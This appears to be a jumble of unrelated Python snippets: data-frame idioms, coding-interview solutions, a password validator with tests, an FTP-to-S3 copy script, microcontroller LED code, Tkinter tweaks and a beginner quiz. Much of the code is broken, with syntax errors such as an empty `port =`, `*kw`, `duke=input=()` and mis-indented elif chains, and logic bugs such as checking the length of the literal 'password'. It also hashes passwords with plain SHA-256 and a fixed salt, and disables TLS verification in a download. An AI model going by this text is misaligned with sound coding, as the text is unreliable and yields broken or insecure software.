df_sets.sort_values('num_parts', ascending=False).head(n=10) # top 10 based on criteria

df['name'].nunique() # number of unique values

df.name.unique()  # unique values output
df['name'].unique() # same as before - unique values output
df['new_col']=df[cols_lst].astype("str").sum(1)
# Opcion 1, select column index: 1,2,3

new = old.iloc[:,[1,2,3]].copy()

# Opcion 2, do not forget the double square breaks 

new = old[['a','b','c']].copy

list1 = []
list1[:0] = string
return list1
def sigma(first, last, const):
    sum = 0
    for i in range(first, last + 1):
        sum += const * i
    return sum

# first : is the first value of (n) (the index of summation)
# last : is the last value of (n)
# const : is the number that you want to sum its multiplication each (n) times with (n)
from scipy.stats import norm

# What percentage of man are shorter than 154
mean = 161
standard_deviation = 7

from scipy.stats import norm
norm.cdf(154, mean, standard_deviation)
# Generate 10 random heights
mean = 161
standard_deviation = 7

from scipy.stats import norm
norm.rvs(mean, standard_deviation, size = 10)
import sys
directory_path = os.path.abspath(os.path.join('../code_shared'))
if directory_path not in sys.path:
    sys.path.append(directory_path)
import params_file as pf
import functions_file as ff
df = pd.DataFrame(data=_list)
df['epoch_time'] = df['time'].apply(lambda x: datetime.strptime(x, "%Y-%m-%dT%H:%M:%S.%fZ"))
freq = {3: 3, 2: 6, 1: 4}
k = 2

sort_orders = {k: freq[k] for k in sorted(freq, key=freq.get, reverse=True)[:k]}
print(sort_orders)

# Output {2: 6, 1: 4}
freq = {3: 3, 2: 6, 1: 4}
k = 2

sort_orders = [k for k in sorted(freq, key=freq.get, reverse=True)[:k]]
print(sort_orders)

# Output [2, 1]
if __name__ == '__main__':

    thePass = "Password123!"
    theSalt = "12345"

    if validate_strong_password(thePass):
        print(thePass, " Meets the Criteria")
        result, resultingHash = gen_pass_hash(thePass, theSalt)
def gen_pass_hash(password, salt):
    try:
        string_to_hash = password + salt
        hash_obj = hashlib.sha256(str(string_to_hash).encode('utf-8'))
        return True, hash_obj.hexdigest()
    except IndexError:
        return False, "Hashing Failure"
if __name__ == '__main__':

    thePass = "NullIsB4d!"
'''
Simple Function to generate a SHA256 hash of password. Password is first changed to Unicode.

'''

def gen_pass_hash(password):
    try:
        string_to_hash = password
        hash_obj = hashlib.sha256(str(string_to_hash).encode('utf-8'))
        return True, hash_obj.hexdigest()
    except IndexError:
        return False, "Hashing Failure"
    # Check for triple repeats

    pos = 0
    for eachChar in password:
        if pos < pw_len - 2:
            if eachChar == password[pos + 1] and eachChar == password[pos + 2]:
                no_rpt = False
            else:
                pos += 1

    # Check for out of range characters

    for eachChar in password:
        val = ord(eachChar)
        if val < 0x20 or val > 0x7f:
            rng = False

    if upp and low and num and spc and cnt and rng and no_rpt:
        return True
    else:
        return False
# Main Program Starts Here
# ===================================

if __name__ == '__main__':

    thePass = "\0NullIsB4d!"

    if validate_strong_password(thePass):
        print(thePass, " Meets the Criteria")
    else:
        print(thePass, " Has an out-of-range character")
import random
import numpy as np
def create_square_array(n):
    return np.array([random.randint(0, n**2) for i in range(n*n)]).reshape(n,n)
create_square_array(8)
df.groupby('is_trans').count() # group data by "is_trans" and count others var

df[['name','is_trans']].groupby('is_trans').count() # same as above but with specifi col

df.is_trans.value_counts() # count haw many time a value is repeated in a col
class Solution:
    def romanToInt(self, s):
 
        values = {'I': 1, 'V': 5, 'X': 10, 'L' : 50, 'C' : 100, 'D' : 500, 'M' : 1000}   
        result = 0
        for i in range(len(s)):
            if i + 1 < len(s) and values[s[i]] < values[s[i + 1]] : # if current item is not the last item on the string
                                                                    # and current item's value is smaller than next item's value 
                result = result - values[s[i]]                      # then subtract current item's value from result
            else:
                result = result + values[s[i]]                      # otherwise add current item's value to result
        return result

Task = Solution()
print(Task.romanToInt("III"))
print(Task.romanToInt("LVIII"))
print(Task.romanToInt("MCMXCIV"))
import pandas as pd # for manage data
import matplotlib.pyplot as plt # for manage plots and graphs
if __name__ == '__main__':

    if validate_strong_password("A11aBC!!11"):
        print("Strong")
    else:
        print("Weak")
pos = 0

    for eachChar in password:
        if pos < pw_len - 2:
            if eachChar == password[pos + 1] and eachChar == password[pos + 2]:
                no_rpt = False
            else:
                pos += 1

    if upp and low and num and spc and cnt and no_rpt:
        return True
    else:
        return False
if len("password") >= 8:
import ftplib
import subprocess

# Credentials
username = ""
password = ""

# FTP Server Info
ip = ""
dnsName = ""
port = 

# QUA - FTP Location of Files
ftppath = "/BI_QUA/Expedicao"

# QUA - Bucket S3 Location of Files
bucketPath = "s3://analytics-qa-data-raw/expedicoes/"


#Open FTP Connection
def openFTPServer(ip, port, username, password):
    server = ftplib.FTP()
    server.connect(ip, port)
    server.encoding = "utf-8"
    server.login(username, password)
    return server

#Return list of files available on source
def getListOfFiles(server, path):
    files_list = []
    if server is not None:
        server.cwd(path)
        server.dir(files_list.append)
    return files_list

#Clean some string Junk and returns clean filename
def getNamesOfFiles(files_list):
    filenames = []
    for line in files_list:
        elem = line.split(" ")
        filenames.append(elem[-1])

    return filenames

#Download Files
def getFiles(server, filenames):
    for namefile in filenames:
        with open(namefile, "wb") as file:
            server.retrbinary(f"RETR {namefile}", file.write)


#Ends a FTP connection
def closeFTPConnection(server):
    server.quit()


#Moves the files to the bucket
def moveFilesToBucket(files, bucketPath):
    for file in files:
        subprocess.call(['aws', 's3', 'mv', file, bucketPath])


# MAIN Execution
server = openFTPServer(ip, port, username, password)
filesList = getListOfFiles(server, ftppath)
filenames = getNamesOfFiles(filesList)
getFiles(server, filenames)
closeFTPConnection(server)
moveFilesToBucket(filenames,bucketPath)
# Main Program Starts Here
# ===================================

if __name__ == '__main__':

    passTests = ["Short7!",
                 "nouppercase7!",
                 "NOLOWERCASE7!",
                 "NoNumber!",
                 "NoSpecial7",
                 "GoodPass7!"]

    for eachTest in passTests:
        if validate_strong_password(eachTest):
            print(eachTest, "PASS")
        else:
            print(eachTest, "FAIL")
 # Validate all conditions

    for eachChar in password:
        if eachChar in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
            upp = True
        elif eachChar in "abcdefghijklmnopqrstuvwxyz":
            low = True
        elif eachChar in "0123456789":
            num = True
        elif eachChar in "!@#$%^&*()_-=+/\';><,.>":
            spc = True
        else:
            continue
    if len("password") >= 8:
        cnt = True

    if upp and low and num and spc and cnt:
        return True
    else:
        return False
from google.colab import drive
drive.mount('/content/drive')
def arg_printer(a, b, *args, option=True, **kwargs):
   print(a, b)
   print(args)
   print(option)
   print(kwargs)
   
   
arg_printer(1, 4, 6, 5, param1=5, param2=6)

# prints:

# 1 4
# (6, 5)
# True
# {'param1': 5, 'param2': 6}
import os
from PIL import Image
folder_path = //folder_images # maybe could be better if theres no subdirectories
extensions = []
for fldr in os.listdir(folder_path):
    sub_folder_path = os.path.join(folder_path, fldr)
    for filee in os.listdir(sub_folder_path):
        file_path = os.path.join(sub_folder_path, filee)
        print('** Path: {}  **'.format(file_path), end="\r", flush=True)
        im = Image.open(file_path)
        rgb_im = im.convert('RGB')
        if filee.split('.')[1] not in extensions:
            extensions.append(filee.split('.')[1])
import time
import numpy as np

def timeit(somefunc,*args,repeats=100,**kwargs):
    
    times=[] # initialise array to collect the time for each repetition
    
    for i in range(repeats): # set loop for number of repetitions to run and time the function that many times

        starttime=time.time() # set start

        ans=somefunc(*args,**kwargs) # run the function 

        endtime=time.time() # set end

        timetaken=endtime-starttime # calculate time from start and end

        times.append(timetaken) # append time for this run to the times list
    
    mean=np.mean(times) # calculate the average time across the repetitions

    stdev=np.std(times) # get the standard deviation of the times

    error=stdev/(repeats**0.5) # get the error?
 
    return (ans,mean,error)
# LED Candle animation for microypthon on esp8266

import time
import uos
import math
import machine
import neopixel


# number of leds in the strip
LED_COUNT = 20

# base color
r = 99
g = 31
b = 6

np = neopixel.NeoPixel(machine.Pin(4), LED_COUNT)


def show():
   np.write()

def Color(r, g, b):
    return (int(r), int(g), int(b))


def setPixelColor(i, color):
    np[i] = color


def wait(ms):
   time.sleep(ms/1000.0)


def randint(min, max):
    return min + int(int.from_bytes(uos.urandom(2), 10) / 65536.0 * (max - min + 1))


def c_brightness(c, brightness):
    return max(0, min(c * brightness / 100, 255))


class LED_light(object):
    def __init__(self, pos):
        self.time = 0
        self.pos = pos


    def update(self, delta):
        self.time = self.time - delta
        if self.time <= 0:
            self.random_mode()
            self.random_duration()


    def set_brightness(self, brightness):
        setPixelColor(self.pos, Color(c_brightness(r, brightness), c_brightness(g, brightness), c_brightness(b, brightness)))


    def random_mode(self):
        # Probability Random LED Brightness
        # 50% 77% –  80% (its barely noticeable)
        # 30% 80% – 100% (very noticeable, sim. air flicker)
        #  5% 50% –  80% (very noticeable, blown out flame)
        #  5% 40% –  50% (very noticeable, blown out flame)
        # 10% 30% –  40% (very noticeable, blown out flame)
        brightness = 0
        r = randint(0, 100)
        if r < 50:
            brightness = randint(77, 80)
        elif r < 80:
            brightness = randint(80, 100)
        elif r < 85:
            brightness = randint(50, 80)
        elif r < 90:
            brightness = randint(40, 50)
        else:
            brightness = randint(30, 40)
        self.set_brightness(brightness)


    def random_duration(self):
        # Probability Random Time
        # 90% 20 ms
        #  3% 20 – 30 ms
        #  3% 10 – 20 ms
        #  4%  0 – 10 ms
        r = randint(0, 100)
        if r < 90:
            self.time = 20
        elif r < 93:
            self.time = randint(20, 30)
        elif r < 96:
            self.time = randint(10, 20)
        else:
            self.time = randint(0, 10)


def main():
    candles = [LED_light(i) for i in range(LED_COUNT)]
    while True:
        now = time.ticks_ms()
        [l.update(now) for l in candles]
        show()
        wait(2)


main()
import io

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
from fastapi.staticfiles import StaticFiles


app = FastAPI()

# create a 'static files' directory
# create a '/static' prefix for all files
# serve files from the 'media/' directory under the '/static/' route
#   /Big_Buck_Bunny_1080p.avi becomes '/static/Big_Buck_Bunny_1080p.avi'
# name='static' is used internally by FastAPI
app.mount("/static", StaticFiles(directory="media"), name="static")


@app.get("/")
async def main():
    # open the movie file to stream it
    movie = open("media/Big_Buck_Bunny_1080p.avi", "rb")
    # return a stream response with the movie and a MIME type of 'video/avi'
    return StreamingResponse(movie, media_type="video/avi")
I've been reading the following example, and couldn't figure out, what
**kw mean. (It's an empty dictionary, but what's the semantics):
It's a keyword argument. It's some kind of repository for arguments
that aren't recognized.

If you have function like this:
  
def func(a, *args, *kw):
	print a
	print args
	print kw

and you call the functin like this:

func('value A', 'value B', 'value C', argumentA = 'value D', argumentB = 'value D')

the extra arguments would normally raise an error, but with the * and **, Python would:
- assign 'value B' and 'value C' to args
- assign 'argumentA':'value D' and 'argumentB':'value E' to kw

so if you run the function, it will output:
####
value A
('value B', 'value C')
{'argumentB': 'value E', 'argumentA': 'value D'}
####

the args and kw can be accessed like a tuple and dictionary respectively
import ctypes as ct 
from tkinter import *

def setWinStyle(root):
    set_window_pos = ct.windll.user32.SetWindowPos
    set_window_long = ct.windll.user32.SetWindowLongPtrW
    get_window_long = ct.windll.user32.GetWindowLongPtrW
    get_parent = ct.windll.user32.GetParent

    # Identifiers
    gwl_style = -16

    ws_minimizebox = 131072
    ws_maximizebox = 65536

    swp_nozorder = 4
    swp_nomove = 2
    swp_nosize = 1
    swp_framechanged = 32

    hwnd = get_parent(root.winfo_id())

    old_style = get_window_long(hwnd, gwl_style) # Get the style

    new_style = old_style & ~ ws_maximizebox & ~ ws_minimizebox # New style, without max/min buttons

    set_window_long(hwnd, gwl_style, new_style) # Apply the new style

    set_window_pos(hwnd, 0, 0, 0, 0, 0, swp_nomove | swp_nosize | swp_nozorder | swp_framechanged)     # Updates

window = Tk()
Button(window, text="button").pack() # add your widgets here.
window.after(10, lambda: setWinStyle(window)) #call to change style after the mainloop started. Directly call setWinStyle will not work.
window.mainloop()
    import ctypes as ct

    set_window_pos = ct.windll.user32.SetWindowPos
    set_window_long = ct.windll.user32.SetWindowLongPtrW
    get_window_long = ct.windll.user32.GetWindowLongPtrW
    get_parent = ct.windll.user32.GetParent

    # Identifiers
    gwl_style = -16

    ws_minimizebox = 131072
    ws_maximizebox = 65536

    swp_nozorder = 4
    swp_nomove = 2
    swp_nosize = 1
    swp_framechanged = 32

    hwnd = get_parent(settings_panel.winfo_id())
    # Get the style
    old_style = get_window_long(hwnd, gwl_style)
    # New style, without max/min buttons
    new_style = old_style & ~ ws_maximizebox & ~ ws_minimizebox
    # Apply the new style
    set_window_long(hwnd, gwl_style, new_style)
    # Updates
    set_window_pos(hwnd, 0, 0, 0, 0, 0, swp_nomove | swp_nosize | swp_nozorder | swp_framechanged)
# function to create queue
def CreateQueue():
  queue = []
  return queue

# create function to check whether 
# the queue is empty or not
def isEmpty(queue):
  if(len(queue) == 0):
    print("Queue is empty.")
  else:
    print("Queue is not empty.") 
    
#create function to return size of the queue       
def size(queue):
  return len(queue)

#create function to add new element       
def EnQueue(queue, newElement):
  queue.append(newElement)
  print(newElement, "is added into the queue.")

#create function to delete front element       
def DeQueue(queue):
  print(queue.pop(0), "is deleted from the queue.")

#create function to get front element       
def frontElement(queue):
  return queue[0]

#create function to get rear element       
def rearElement(queue):
  return queue[len(queue) - 1]

#test the code                
MyQueue = CreateQueue()

EnQueue(MyQueue, 10)
EnQueue(MyQueue, 20)
EnQueue(MyQueue, 30)
EnQueue(MyQueue, 40)

DeQueue(MyQueue)
isEmpty(MyQueue)
promt = "\nWhat toppingf would you like on your pizza?"
promt += "\nEnter 'done' when you are finished: "

while True:
    topping = input(promt)
    if topping.lower() != "done":
        print("Ill add " + topping + " to your pizza.")
    else:
        break
>>> re.findall(r"[-+]?(?:\d*\.\d+|\d+)", "Current Level: -13.2db or 14.2 or 3")
['-13.2', '14.2', '3']
# get first row
print(dataframe.collect()[0])
  
# get second row
print(dataframe.collect()[1])
  
# get last row
print(dataframe.collect()[-1])
  
# get third row
print(dataframe.collect()[2])
from pyspark.sql.types import IntegerType,BooleanType,DateType
# Convert String to Integer Type
df.withColumn("age",df.age.cast(IntegerType()))
df.withColumn("age",df.age.cast('int'))
df.withColumn("age",df.age.cast('integer'))

# Using select
df.select(col("age").cast('int').alias("age"))

#Using selectExpr()
df.selectExpr("cast(age as int) age")

#Using with spark.sql()
spark.sql("SELECT INT(age),BOOLEAN(isGraduated),DATE(jobStartDate) from CastExample")

df.groupBy("Add","Name").agg({'id':'sum'}).show()

>>> ps.date_range(start='1/1/2018', periods=5, freq='M')  
DatetimeIndex(['2018-01-31', '2018-02-28', '2018-03-31', '2018-04-30',
               '2018-05-31'],
              dtype='datetime64[ns]', freq=None)
from PIL import Image  
import matplotlib.pyplot as plt
%matplotlib inline

img_paht = "/content/drive/MyDrive/Imagenes/"
file = img_paht+'6.jpg'

I = Image.open(file)
plt.imshow(I)
plt.title('Imagen_1'),plt.axis('off') 
plt.show()
# import required module
import unidecode
 
# assign string
string = "orčpžsíáýd"
 
# display original string
print('\nOriginal String:', string)
 
# remove ascents
outputString = unidecode.unidecode(string)
 
# display new string
print('\nNew String:', outputString)
for x in "banana":
  print(x) 
​
wb = op.load_workbook(filename=BytesIO(bb))
ws = wb.worksheets[0]
_data = ws.values
columns = next(_data)[0:]
df = pd.DataFrame(_data, columns=columns)
import requests
from io import BytesIO
import tarfile
import openpyxl as op
url = "https://url/files.tar.gz".format(_name.lower())
    r1 = requests.get(url, stream=True, verify=False)
    #print(_config, r1.status_code)
    if (_config and r1.status_code == 200):
        try:    
            tar = tarfile.open(fileobj=BytesIO(r1.content))
            bb = tar.extractfile('output/risks.xlsx').read()
            wb = op.load_workbook(filename=BytesIO(bb))
            ws = wb.worksheets[0]
            _data = ws.values
            columns = next(_data)[0:]
            df = pd.DataFrame(_data, columns=columns)
            df['Application'] = _name.upper()
            df['ST'] = _config
            _final = _final.append(df[1:])
from google.colab import drive
drive.mount('/content/drive', force_remount=True)
root_dir = "/content/drive/My Drive/"
base_dir = root_dir + '[nombre_directorio_especifico]'
print(base_dir)
#end = ''
#pass the end = '' argument in your print()

print(*[1, 2, 3], end = '')
class node:            
    '''
     IN BETWEEN NODES IN LINKEDLIST
    '''
         
    def __init__(self,data=None):
        self.data = data 
        self.nextref=None
        
class linkedlist:
    def __init__(self): 
        self.head=None           # Todo head node intialize
        

            
    def insert(self,newdata):    #Todo insertng at beginning of the node
        newnode=node(newdata)
        newnode.nextref =self.head
        self.head=newnode
        
    def middle(self,pos,newdata):
        newnode=node(newdata)
        if pos< 1:
            print("exist") 
        elif (pos==1):
            newnode.nextref =self.head
            self.head=newnode
        else:
            temp=self.head
            for i in range(1,pos-1):
                if(temp!=None):
                    temp=temp.nextref
            if(temp!=None):
                newnode.nextref=temp.nextref
                temp.nextref=newnode
            else:
                print("null")
        
    def append(self,newdata):
        newnode=node(newdata)
        if self.head is None:
            self.head=newnode
            return
        temp=self.head
        while(temp.nextref):
            temp=temp.nextref
            temp.nextref=newnode
            
            
    def deletef(self):
        if(self.head!=None):
            temp=self.head
            self.head=self.head.nextref
            temp=None
       
    def printlist(self):         # TODO PRINT THE NODE
        temp=self.head
        while (temp):
            print(temp.data,end='')
            temp=temp.nextref
         
      
           
        
l1=linkedlist()
                              #todo connecting the nodes second to third

l1.insert(1) 
l1.insert(7)                   #todo inserting the node calling before printlist()
l1.insert(8)
l1.insert(9)

l1.deletef()
l1.middle(6,10)
l1.middle(7,38)



l1.append(6)
l1.printlist()                  #todo callling the printfunction
>>> from darts.dataprocessing.transformers import Scaler

>>> transformer = Scaler(scaler)

>>> series_transformed = transformer.fit_transform(series)

>>> series_inversed_transformed = transformer.inverse_transform(series_transformed)


#Python function 
 def func_name(param):
      return param + 10

#Python lambda
func_name = lambda param: param + 10
hwid = str(subprocess.check_output(
    'wmic csproduct get uuid')).split('\\r\\n')[1].strip('\\r').strip()
data = requests.get(
    'https://gist.githubusercontent.com/rishav394/z/raw/x')
if hwid in data.text:
    print('Authenticated!')
    auth = True
else:
    print(hwid + ' was not found on the server.\nNot authorised!')
def format_time(minutes):
    hours_total = minutes // 60
    # Get additional minutes with modulus
    minutes_total = minutes % 60
    # Create time as a string
    time_string = "{} hours {} minutes".format(hours_total, minutes_total)
    return time_string
def generateParenthesis(n):
    #only add parentehsis if openN < n 
    #only add close parenthesis if closeN < openN 
    #valid if open == closed == n 

    stack = []
    res = []
    
    def backtrack(openN, closeN): 
        if openN == closeN == n: 
            res.append("".join(stack))
            return 
        if openN < n: 
            stack.append('(')
            backtrack(openN + 1, closeN)
            stack.pop()
        if closeN < openN: 
            stack.append(")")
            backtrack(openN, closeN + 1)
            stack.pop()
        #stack.pop() is necessary to clean up stack and come up with other solutions 
        
    backtrack(0, 0)
    #concept is you build openN, closeN but initially, they are at 0 
    return res 

generateParenthesis(3)
def dutch_flag_sort(arr):
  #set low and high pointer 
  low, high = 0, len(arr) - 1 

  i = 0 

  #iterate through arr 
  while i <= high: 
    #if arr[i] is 0, set it before low via swapping 
    #elif arr[i] is 2, set it after high via swapping 
    #elif arr[i] is 1, it will naturally fall in the middle 
    if arr[i] == 0: 
      arr[i], arr[low] = arr[low], arr[i] 
      low += 1 
      i += 1 
    elif arr[i] == 1: 
      i += 1 
    else: #arr[i] == 2: 
      arr[i], arr[high] = arr[high], arr[i] 
      high -= 1 
    
  
  return   
def find_subarrays(arr, target):
  def Remove(lst):
    return ([list(i) for i in {*[tuple(sorted(i)) for i in lst]}])
  result = []
  #iterate through arr (up to len(arr) - 1) 
  for i in range(len(arr) - 1): 
      first = arr[i]
      second = arr[i + 1] 
      product = first * second 
      if first < target and first not in result: 
          result.append([first]) 
      if second < target and second not in result: 
          result.append([second])
      if product < target: 
        result.append([first, second]) 
      else: 
          continue 
    

  
  return Remove(result)  


#alternate solution that avoids making duplicate sublists in the first place 
from collections import deque


def find_subarrays(arr, target):
  result = []
  product = 1
  left = 0
  for right in range(len(arr)):
    product *= arr[right]
    while (product >= target and left <= right):
      product /= arr[left]
      left += 1
    # since the product of all numbers from left to right is less than the target therefore,
    # all subarrays from left to right will have a product less than the target too; to avoid
    # duplicates, we will start with a subarray containing only arr[right] and then extend it
    temp_list = deque()
    for i in range(right, left-1, -1):
      temp_list.appendleft(arr[i])
      result.append(list(temp_list))
  return result


def main():
  print(find_subarrays([2, 5, 3, 10], 30))
  print(find_subarrays([8, 2, 6, 5], 50))


main()
def length_of_longest_substring(arr, k):
  #set start, maxLength, maxRepeat 
  start, maxLength, maxRepeat = 0, 0, 0 
  #set frequencyDict 
  frequencyDict = {} 
  
  #iterate through arr
  for end in range(len(arr)): 
    #add to frequencyDict 
    right = arr[end]
    if right not in frequencyDict: 
        frequencyDict[right] = 1 
    else: 
        frequencyDict[right] += 1 
    #find maxRepeat 
    maxRepeat = max(maxRepeat, frequencyDict[right]) 
    
    #evaluate window 
    if (end - start + 1 - maxRepeat) > k: 
        #reduce window by 1 and adjust frequency map 
        left = arr[start] 
        frequencyDict[left] -= 1 
        start += 1 
    
    #check maxLength 
    maxLength = max(maxLength, end - start + 1) 

  return maxLength

length_of_longest_substring([0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1], 3)

df = ...

mask = [True, False, True, True]

df[mask]

# Alternatively, you can use
df.loc[[mask]
text = "X-DSPAM-Confidence:    0.8475"
indexof0 = text.find('0')
intindexof0 = int(indexof0)
indexof5 = text.find('5')
intindexof5 = int(indexof5)
Extract = text[intindexof0:intindexof5+1]
print(float(Extract))
fruit1 = input('Please enter the name of first fruit:\n')
fruit2 = input('Please enter the name of second fruit:\n')

if fruit1 < fruit2:
    print(fruit1 + " comes before " + fruit2 + " in the dictionary.")
elif fruit1 > fruit2:
    print(fruit1 + " comes after " + fruit2 + " in the dictionary.")
else:
    print(fruit1 + " and " + fruit2 + " are same.")
# variable.find() searches for the position of one string within another. Values printed are the index of the substring. Outputs are in comment. 
data = 'From stephen.marquard@uct.ac.za Sat Jan  5 09:14:16 2008'
atpos = data.find('@')
print(atpos)
# 21
sppos = data.find(' ',atpos)
print(sppos)
# 31
host = data[atpos+1:sppos]
print(host)
# uct.ac.za
class Solution:
    def checkInclusion(self, s1: str, s2: str) -> bool:
        s1Dict = {}
    
        for char in s1: 
            if char not in s1Dict: 
                s1Dict[char] = 1 
            else: 
                s1Dict[char] += 1 

        left = 0 


        compareDict = {}

        for right in range((left + (len(s1) - 1)), len(s2)): 
            if s2[left] in s1: 
                compare = s2[left:right + 1] #makes a list of chars from left to right pointers 
                for char in compare: 
                    if char not in compareDict: 
                        compareDict[char] = 1 
                    else: 
                        compareDict[char] += 1 
                if compareDict == s1Dict: 
                    return True 
                else: 
                    compareDict.clear() 
                    left += 1 
                    continue 



            else: 
                left += 1 

        return False 
class Solution:
    def maxArea(self, height: List[int]) -> int:
        left, right = 0, len(height) - 1 
        
        maxArea = 0 
        
        while left < right: 
            heightOne = height[left] 
            heightTwo = height[right] 
            
            area = min(heightOne, heightTwo) * (right - left) 
            maxArea = max(area, maxArea) 
            
            if heightTwo >= heightOne: #if heights are equal, it doesn't matter if you move left or right pointer 
                left += 1 
            elif heightTwo < heightOne: 
                right -= 1 
            
        return maxArea 
        
        
# BRUTE FORCE 
#         maxArea = 0 

#         for i in range(len(height)): 
#             for secondI in range(i + 1, len(height)): 
#                 heightOne = height[i]
#                 heightTwo = height[secondI]
#                 area = min(heightOne, heightTwo) * (secondI - i) 
#                 maxArea = max(area, maxArea) 

#         return maxArea 
from matplotlib.patches import Rectangle
import matplotlib.pyplot as plt
import matplotlib.colors as mcolors


def plot_colortable(colors, sort_colors=True, emptycols=0):

    cell_width = 212
    cell_height = 22
    swatch_width = 48
    margin = 12

    # Sort colors by hue, saturation, value and name.
    if sort_colors is True:
        by_hsv = sorted((tuple(mcolors.rgb_to_hsv(mcolors.to_rgb(color))),
                         name)
                        for name, color in colors.items())
        names = [name for hsv, name in by_hsv]
    else:
        names = list(colors)

    n = len(names)
    ncols = 4 - emptycols
    nrows = n // ncols + int(n % ncols > 0)

    width = cell_width * 4 + 2 * margin
    height = cell_height * nrows + 2 * margin
    dpi = 72

    fig, ax = plt.subplots(figsize=(width / dpi, height / dpi), dpi=dpi)
    fig.subplots_adjust(margin/width, margin/height,
                        (width-margin)/width, (height-margin)/height)
    ax.set_xlim(0, cell_width * 4)
    ax.set_ylim(cell_height * (nrows-0.5), -cell_height/2.)
    ax.yaxis.set_visible(False)
    ax.xaxis.set_visible(False)
    ax.set_axis_off()

    for i, name in enumerate(names):
        row = i % nrows
        col = i // nrows
        y = row * cell_height

        swatch_start_x = cell_width * col
        text_pos_x = cell_width * col + swatch_width + 7

        ax.text(text_pos_x, y, name, fontsize=14,
                horizontalalignment='left',
                verticalalignment='center')

        ax.add_patch(
            Rectangle(xy=(swatch_start_x, y-9), width=swatch_width,
                      height=18, facecolor=colors[name], edgecolor='0.7')
        )

    return fig

plot_colortable(mcolors.TABLEAU_COLORS, sort_colors=False, emptycols=2)
def length_of_longest_substring(str1, k):
    window_start, max_length, max_repeat_letter_count = 0, 0, 0 
    
    frequency_map = {} 
    
    #try to extend window [window_start, window_end] 
    for window_end in range(len(str1)): 
        right_char = str1[window_end]
        if right_char not in frequency_map: 
            frequency_map[right_char] = 1 
        else: 
            frequency_map[right_char] += 1 
    
        #we don't need to place the maxRepeatLetterCount under the below 'if'
        #while shrinking window, we don't need to update maxRepeatLetterCount 
        #since we are only interested in longest valid substring, our sliding windows do not have to shrink even if a window may cover an invalid substring 
        max_repeat_letter_count = max(max_repeat_letter_count, frequency_map[right_char]) 
        
        #determine if window is still valid 
        #if remaining letters are more than k, it is time to shrink window as we are not allowed to replace more than k letters 
        evaluate_window = window_end - window_start + 1 - max_repeat_letter_count
        if evaluate_window > k: 
            left_char = str1[window_start] 
            frequency_map[left_char] -= 1 
            window_start += 1 
        
        max_length = max(max_length, window_end - window_start + 1) 
    
    return max_length 

length_of_longest_substring("aabccbb", 2)








#alternate solution 
class Solution:
    def characterReplacement(self, s: str, k: int) -> int:
        count = {}
        
        result = 0 
        
        left = 0 
        
        for right in range(len(s)): 
            #add s[right] to count dictionary 
            count[s[right]] = 1 + count.get(s[right], 0) #if s[right] does not exist in count hashmap, then set default value to 0 
            
            #make sure current window is valid 
            #while (windowLength - length of most frequent char in count hashmap) > k 
            while (right - left + 1) - max(count.values()) > k: #this statement means window is no longer valid 
                #need to remove one from s[left] 
                count[s[left]] -= 1 
                left += 1 
            
            
            result = max(result, right - left + 1)
        
        return result 
# The best you can do is create a new string that is a variation on the original
greeting = 'Hello, world!'
new_greeting = 'J' + greeting[1:]
print(new_greeting)

#output
Jello, world!
class Solution:
    def threeSum(self, nums: List[int]) -> List[List[int]]:
        result = []
        
        nums.sort() 
        
        for i, a in enumerate(nums): 
            if i > 0 and a == nums[i - 1]: #this is so you don't reuse same value twice to avoid duplicates at end 
                continue 
            
            #next part is basically two sum 
            
            l, r = i + 1, len(nums) - 1 
            
            while l < r: 
                threeSum = a + nums[l] + nums[r] 
                
                if threeSum > 0: 
                    r -= 1 
                elif threeSum < 0: 
                    l += 1 
                else: 
                    result.append([a, nums[l], nums[r]])
                    #only need to shift left pointer as right pointer will be moved by code above 
                    l += 1 
                    while nums[l] == nums[l - 1] and l < r: 
                        l += 1 
            
        return result 
      
      
#two sum solutions below for reference 
      
def twoSum(numbers, target): 
  left = 0 
  right = len(numbers) - 1 
  compare = 0 

  for i in range(0, len(numbers)): 
    compare = numbers[left] + numbers[right] 
    if compare > target: 
      right -= 1 
      elif compare < target: 
        left += 1 
        elif compare == target: 
          return [left + 1, right + 1] 

        
def twoSum(self, nums: List[int], target: int) -> List[int]:
  num_dictionary = {}
  for i in range(0, len(nums)):
    number = nums[i]
    if target - number not in num_dictionary: 
      #number will be key and index (i) will be value 
      #adding number to dictionary AFTER checking 1st value 
      #if [2, 1, 3] and target = 4, 4 -2 = 2 and 2 will be present in dictionary but we cannot use 2 + 2 
      num_dictionary[number] = i 
      elif target - number in num_dictionary: 
        return [i, num_dictionary[target - number]]




fruit = "banana"
for char in fruit:
    print(char)

#output
b
a
n
a
n
a
fruit = 'banana'
index = 0
while index < len(fruit):
    letter = fruit[index]
    print(letter)
    index = index + 1

#output
b
a
n
a
n
a
user = input("Hi, Im Aidan, what is your name?\n")
 
print(f"Well {user}, nice to meet you, your names kinda weird though.")
print(f"Nevertheless Im here to quiz you! To start, what is 7-4?")
 
 
larisha=input()
 
if(larisha =="3"):
    print("Thats right... Shawty.")
 
if(larisha !="3"):
    print("Seriously? How can you get it wrong, just count your fingers and try again.")
 
 
print("Moving on, What is 8x4?")
 
shawn=input()
 
if(shawn=="32"):
    print("Correct!")
 
if(shawn!="32"):
    print("Try again!")
 
print("Ok another question question what is the meaning of life?")
 
kelp=input()
 
if(kelp=="42"):
    print("Your very cool, its a great book.")
    
elif(kelp=="idk"):
    print("Then live your life in confusion.")
 
elif(kelp=="ethics"):
    print("bummer")

elif(kelp=="ass"):
    print("Bet https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab just copy and paste it.")
elif(kelp!="42"):
    print("Im sure your answer was amazing but no.")
    
print("Lets test your ethics.\n")
print("If, there was a dying man who needed $300 to get life saving sugery, and there was an Iron Maiden Concert that cost $300, which one would you choose, the man or the concert?")

bobby=input()
if(bobby=="the man"):
	print("Good choice, but you'll miss a great concert.")

elif(bobby=="the concert"):
	print("I mean, Iron Maiden is great but seriously you'd let a man die in return? yeesh")

elif(bobby!=["the man","the concert"]):
	print("That wasn't an answer, please use either, 'the man' or 'the concert'.")
    
print("Moving on... How many bones are in the human body?")
duke=input=()

if(duke=="206"):
	print("Jesus why do you know that, is so specific."

if(duke!="206"):
    print("Honestly I didn't know either I dont blame you for not knwowing one bit.")
print("It would seem as if the quiz is over, I know it didnt end as a math quiz but I sure had fun. See you later... or not." )



    
count = 0 #Set the variable count to zero before the loop starts
for i in [3, 41, 12, 9, 74, 15]: # Our iteration variable, itervar, controls the loop and cause the loop body to be executed once for each values in list.
